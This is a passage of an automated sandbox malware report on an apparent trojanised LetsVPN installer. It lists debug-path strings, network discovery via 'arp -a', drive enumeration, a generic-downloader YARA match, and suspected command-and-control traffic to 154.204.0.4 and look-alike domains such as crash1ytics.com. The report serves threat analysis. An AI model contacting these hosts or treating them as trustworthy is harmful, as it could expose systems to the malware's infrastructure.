            Source: Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdb source: LetsPRO.exe, 00000045.00000002.2238114765.0000000003212000.00000002.00000001.01000000.0000001C.sdmp
            Source: Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdbwD source: LetsPRO.exe, 00000045.00000002.2238114765.0000000003212000.00000002.00000001.01000000.0000001C.sdmp
            Source: Binary string: /_/artifacts/obj/System.Security.Principal.Windows/net461-Windows_NT-Release/System.Security.Principal.Windows.pdb source: System.Security.Principal.Windows.dll.20.dr
            Source: Binary string: /_/artifacts/obj/System.Text.Encoding.CodePages/net461-windows-Release/System.Text.Encoding.CodePages.pdbSHA256K source: System.Text.Encoding.CodePages.dll.20.dr
            Source: Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: LetsPRO.exe, 00000037.00000002.4179408143.0000000006542000.00000002.00000001.01000000.00000021.sdmp
            Source: Binary string: msvcp140.i386.pdb source: uc_ctrl.exe, 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp
            Source: Binary string: /_/artifacts/obj/System.Text.Encoding.CodePages/net461-windows-Release/System.Text.Encoding.CodePages.pdb source: System.Text.Encoding.CodePages.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdbh) source: System.IO.Pipes.dll.20.dr
            Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdbSHA256, source: LetsPRO.exe, 00000037.00000002.4189844326.000000002FF12000.00000002.00000001.01000000.00000028.sdmp, Microsoft.AppCenter.Crashes.dll.20.dr
            Source: Binary string: /_/artifacts/obj/System.Security.Principal.Windows/net461-Windows_NT-Release/System.Security.Principal.Windows.pdbSHA256zqXL source: System.Security.Principal.Windows.dll.20.dr
            Source: Binary string: C:\projects\ipnetwork\src\System.Net.IPNetwork\obj\release\net46\System.Net.IPNetwork.pdbSHA256 source: System.Net.IPNetwork.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdb source: System.IO.Pipes.dll.20.dr
            Source: Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb* source: LetsPRO.exe, 00000037.00000002.4241106616.0000000039962000.00000002.00000001.01000000.0000003A.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdbT*n* `*_CorDllMainmscoree.dll source: System.Net.Security.dll.20.dr
            Source: Binary string: Extract: Mono.Cecil.Pdb.dll... 100%d source: letsvpn-latest.exe, 00000014.00000002.2058262751.0000000000770000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000014.00000003.2056868219.0000000000770000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: cp140.i386.pdb source: uc_ctrl.exe
            Source: Binary string: C:\Users\winsign\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 00000025.00000003.1967588887.0000028DB0137000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000025.00000003.1966153123.0000028DB007F000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000026.00000003.1981837211.0000022BE45A4000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdbR source: LetsPRO.exe, 00000037.00000002.4241452159.0000000039982000.00000002.00000001.01000000.0000003B.sdmp
            Source: Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000011.00000000.1749194450.000000000010A000.00000002.00000001.01000000.00000009.sdmp
            Source: Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdb source: LetsPRO.exe, 00000037.00000002.4237524799.0000000038E02000.00000002.00000001.01000000.00000039.sdmp
            Source: Binary string: D:\a\_work\1\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: LetsPRO.exe, 00000037.00000002.4179837406.0000000006572000.00000002.00000001.01000000.00000022.sdmp
            Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmp
            Source: Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\Release\Win32\StubExecutable.pdb source: LetsPRO.exe, 00000036.00000002.2067512351.00000000007ED000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe, 00000036.00000000.2056418394.00000000007ED000.00000002.00000001.01000000.00000017.sdmp
            Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdb source: WpfAnimatedGif.dll.20.dr
            Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmp
            Source: Binary string: C:\projects\ipnetwork\src\System.Net.IPNetwork\obj\release\net46\System.Net.IPNetwork.pdb source: System.Net.IPNetwork.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Claims\4.0.3.0\System.Security.Claims.pdb source: System.Security.Claims.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding\4.0.11.0\System.Text.Encoding.pdb source: System.Text.Encoding.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: System.Threading.Timer.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdbt+ source: System.Xml.XmlSerializer.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: System.Threading.Timer.dll.20.dr
            Source: Binary string: D:\a\1\s\LetsVPNInfraStructure\obj\Release\LetsVPNInfraStructure.pdb source: LetsPRO.exe, 00000037.00000002.4179573232.0000000006552000.00000002.00000001.01000000.00000023.sdmp
            Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdbBSJB source: LetsPRO.exe, 00000037.00000002.4179078320.00000000064C2000.00000002.00000001.01000000.0000001F.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256xpRb source: LetsPRO.exe, 00000037.00000002.4197955677.0000000030A72000.00000002.00000001.01000000.0000002A.sdmp
            Source: Binary string: NetSetupShim.pdb source: service.0.etl.39.dr
            Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdb source: LetsPRO.exe, 00000037.00000002.4179078320.00000000064C2000.00000002.00000001.01000000.0000001F.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: LetsPRO.exe, 00000037.00000002.4198160056.0000000030A92000.00000002.00000001.01000000.0000002B.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdb source: System.Net.Security.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4198160056.0000000030A92000.00000002.00000001.01000000.0000002B.sdmp
            Source: Binary string: vcruntime140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000011.00000002.4149827910.000000006CF41000.00000020.00000001.01000000.0000000A.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Specialized\4.0.3.0\System.Collections.Specialized.pdb source: System.Collections.Specialized.dll.20.dr
            Source: Binary string: NetSetupShim.pdbb source: service.0.etl.39.dr
            Source: Binary string: msvcp140.i386.pdbGCTL source: uc_ctrl.exe, 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdb source: LetsPRO.exe, 00000037.00000002.4189719287.000000002FF02000.00000002.00000001.01000000.00000026.sdmp
            Source: Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: tapinstall.exe, 00000020.00000002.1948103000.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000020.00000000.1945906128.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000002.1991317250.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000022.00000000.1948511998.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2007248558.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2008797085.00007FF7488D1000.00000020.00000001.01000000.00000016.sdmp
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4198387954.0000000030AB2000.00000002.00000001.01000000.0000002C.sdmp
            Source: Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdb source: LetsPRO.exe, 00000037.00000002.4241452159.0000000039982000.00000002.00000001.01000000.0000003B.sdmp
            Source: Binary string: NetSetupSvc.pdb source: service.0.etl.39.dr
            Source: Binary string: NetSetupApi.pdb source: service.0.etl.39.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Principal\4.0.1.0\System.Security.Principal.pdb source: System.Security.Principal.dll.20.dr
            Source: Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4237524799.0000000038E02000.00000002.00000001.01000000.00000039.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: System.Runtime.dll.20.dr
            Source: Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: LetsPRO.exe, 00000037.00000002.4179262566.0000000006532000.00000002.00000001.01000000.00000020.sdmp
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdb source: System.Xml.XmlSerializer.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: LetsPRO.exe, 00000037.00000002.4197955677.0000000030A72000.00000002.00000001.01000000.0000002A.sdmp
            Source: Binary string: C:\projects\wpfanimatedgif\WpfAnimatedGif\obj\Release\net40\WpfAnimatedGif.pdbSHA256 source: WpfAnimatedGif.dll.20.dr
            Source: Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Json\4.0.1.0\System.Runtime.Serialization.Json.pdb source: System.Runtime.Serialization.Json.dll.20.dr
            Source: Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdb source: LetsPRO.exe, 00000037.00000002.4198387954.0000000030AB2000.00000002.00000001.01000000.0000002C.sdmp
            Source: Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdbSHA256X7 source: LetsPRO.exe, 00000037.00000002.4175686898.0000000005E4A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190082692.0000000030062000.00000002.00000001.01000000.00000027.sdmp

            Spreading

            barindex
            Performs a network lookup / discovery via ARP
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ARP.EXE arp -a
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ARP.EXE arp -a
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: z:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: x:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: v:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: t:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: r:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: p:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: n:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: l:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: j:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: h:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: f:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: b:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: y:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: w:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: u:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: s:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: q:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: o:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: m:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: k:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: i:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: g:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: e:Jump to behavior
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeFile opened: c:
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile opened: [:Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CEE6810 _Open_dir,FindFirstFileExW,_Read_dir,FindClose,17_2_6CEE6810
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF9E966 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,_wcslen,17_2_6CF9E966

            Networking

            barindex
            Connects to many ports of the same IP (likely port scanning)
            Source: global trafficTCP traffic: 154.204.0.4 ports 1,2,15628,5,6,8
            Uses known network protocols on non-standard ports
            Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 15628
            Source: unknownNetwork traffic detected: HTTP traffic on port 15628 -> 49735
            Yara detected Generic Downloader
            Source: Yara matchFile source: C:\Program Files (x86)\letsvpn\Update.exe, type: DROPPED
            Source: Yara matchFile source: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll, type: DROPPED
            Source: global trafficTCP traffic: 192.168.2.4:49735 -> 154.204.0.4:15628
            Source: global trafficTCP traffic: 192.168.2.4:49745 -> 8.8.8.8:53
            Source: global trafficHTTP traffic detected: GET /\ HTTP/1.1Connection: UpgradeSec-WebSocket-Key: DxJCKFIBGCTbFGlKiCHNECGjdSec-WebSocket-Version: 13Upgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: 154.204.0.4:15628
            Source: global trafficHTTP traffic detected: GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1Host: ws-ap1.pusher.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: NGNkNWI2MWUtMWMzNi00ZQ==Origin: ws://ws-ap1.pusher.com
            Source: Joe Sandbox ViewIP Address: 183.60.146.66 183.60.146.66
            Source: Joe Sandbox ViewIP Address: 77.88.44.55 77.88.44.55
            Source: Joe Sandbox ViewIP Address: 103.235.46.96 103.235.46.96
            Source: Joe Sandbox ViewIP Address: 103.235.46.96 103.235.46.96
            Source: Joe Sandbox ViewASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK
            Source: unknownTCP traffic detected without corresponding DNS query: 154.204.0.4
            Source: unknownTCP traffic detected without corresponding DNS query: 154.204.0.4
            Source: unknownTCP traffic detected without corresponding DNS query: 154.204.0.4
            Source: unknownTCP traffic detected without corresponding DNS query: 154.204.0.4
            Source: unknownTCP traffic detected without corresponding DNS query: 154.204.0.4
            Source: unknownTCP traffic detected without corresponding DNS query: 154.204.0.4
            Source: unknownTCP traffic detected without corresponding DNS query: 154.204.0.4
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 35.227.223.56
            Source: unknownTCP traffic detected without corresponding DNS query: 35.227.223.56
            Source: unknownTCP traffic detected without corresponding DNS query: 35.227.223.56
            Source: unknownTCP traffic detected without corresponding DNS query: 35.227.223.56
            Source: unknownTCP traffic detected without corresponding DNS query: 35.227.223.56
            Source: unknownTCP traffic detected without corresponding DNS query: 35.227.223.56
            Source: unknownTCP traffic detected without corresponding DNS query: 183.60.146.66
            Source: unknownTCP traffic detected without corresponding DNS query: 183.60.146.66
            Source: unknownTCP traffic detected without corresponding DNS query: 183.60.146.66
            Source: unknownTCP traffic detected without corresponding DNS query: 183.60.146.66
            Source: unknownTCP traffic detected without corresponding DNS query: 183.60.146.66
            Source: unknownTCP traffic detected without corresponding DNS query: 183.60.146.66
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 23.98.101.155
            Source: unknownTCP traffic detected without corresponding DNS query: 35.227.223.56
            Source: global trafficHTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=chr.alipayassets.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
            Source: global trafficHTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
            Source: global trafficHTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
            Source: global trafficHTTP traffic detected: GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1Host: d1dmgcawtbm6l9.cloudfront.netUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
            Source: global trafficHTTP traffic detected: GET /\ HTTP/1.1Connection: UpgradeSec-WebSocket-Key: DxJCKFIBGCTbFGlKiCHNECGjdSec-WebSocket-Version: 13Upgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: 154.204.0.4:15628
            Source: global trafficHTTP traffic detected: GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1Host: ws-ap1.pusher.comUpgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: NGNkNWI2MWUtMWMzNi00ZQ==Origin: ws://ws-ap1.pusher.com
            Source: LetsPRO.exe, 00000037.00000002.4287210806.0000000068179000.00000002.00000001.01000000.00000024.sdmpString found in binary or memory: os/exec.Command(]. new data: GID[^/app([0-9]+)/app^created by (.+)$bad TinySizeClassbad key algorithmbad local addressboundBindToDevicecannot find id %sclose dns channelconnectingAddresscorkOptionEnableddecryption failedduplicate addresseffectiveNetProtoentersyscallblockexec apiAgent GIDexec apiAgent RIDexec deleteRegDirexec format errorexec nicIndexToIPexec phyNIC Indexexec phyNIC SetIPexec tapIFCE Nameexec: killing Cmdexec: not startedfractional secondframe_ping_lengthg already scannedget up-going ACK glEdgeFlagPointerglPopClientAttribglTexCoordPointergp.waiting != nilhandshake failureif-modified-sinceillegal parameterin string literalindex > windowEndinteger too largeinvalid BMPStringinvalid IA5Stringinvalid bit size invalid stream IDip2if func returnipv6-only networkisConnectNotifiedjoyReleaseCapturekey align too biglocked m0 woke upmark - bad statusmarkBits overflowmciGetCreatorTaskmessage too largemidiInGetDevCapsWmidiOutGetNumDevsmidiStreamRestartmissing closing )missing closing ]missing extensionmixerGetLineInfoWmultipartmaxpartsneed re-resolve: nextId too large:nil resource bodyno available Datano data availablenoChecksumEnablednotetsleepg on g0old node version:operation abortedparameter problempermission deniedpkg/buffer.Bufferpkg/sleep.Sleeperpkg/tcpip.Addresspppoe instanceId:protect fd failedreceiveBufferSizereceiveTOSEnabledreceiveTTLEnabledreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of remoteAddr is nilruntime.newosprocruntime/internal/runtime: level = runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0seeker can't seekselect (no cases)set sdk loglevel:set tap static ipstack: frame={sp:start map checkerstart refresh infswept cached spansync.RWMutex.Lockthread exhaustiontimeGetSystemTimetransfer-encodingtruncated headersudp routines num:unknown caller pcunknown hostname:unknown type kindunrecognized nameupdate dns dialeruse gid:%s rid:%swait for GC cyclewaveInGetDevCapsWwaveInGetPositionwaveOutGetNumDevswebsocket: close wglGetPixelFormatwglGetProcAddresswglSetPixelFormatwine_get_versionwrong medium typewww.baidu.com:443www.facebook.com.x-forwarded-proto but memory size connection limit (message too big) because dotdotdot in async preempt equals www.facebook.com (Facebook)
            Source: LetsPRO.exe, 00000037.00000002.4287210806.0000000068179000.00000002.00000001.01000000.00000024.sdmpString found in binary or memory: wrong medium typewww.baidu.com:443www.facebook.com.x-forwarded-proto but memory size connection limit (message too big) because dotdotdot in async preempt equals www.facebook.com (Facebook)
            Source: global trafficDNS traffic detected: DNS query: in.appcenter.ms
            Source: global trafficDNS traffic detected: DNS query: ws-ap1.pusher.com
            Source: global trafficDNS traffic detected: DNS query: www.baidu.com
            Source: global trafficDNS traffic detected: DNS query: www.yandex.com
            Source: global trafficDNS traffic detected: DNS query: www.google.com
            Source: global trafficDNS traffic detected: DNS query: nal.fqoqehwib.com
            Source: global trafficDNS traffic detected: DNS query: nit.crash1ytics.com
            Source: global trafficDNS traffic detected: DNS query: chr.alipayassets.com
            Source: global trafficDNS traffic detected: DNS query: d1dmgcawtbm6l9.cloudfront.net
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
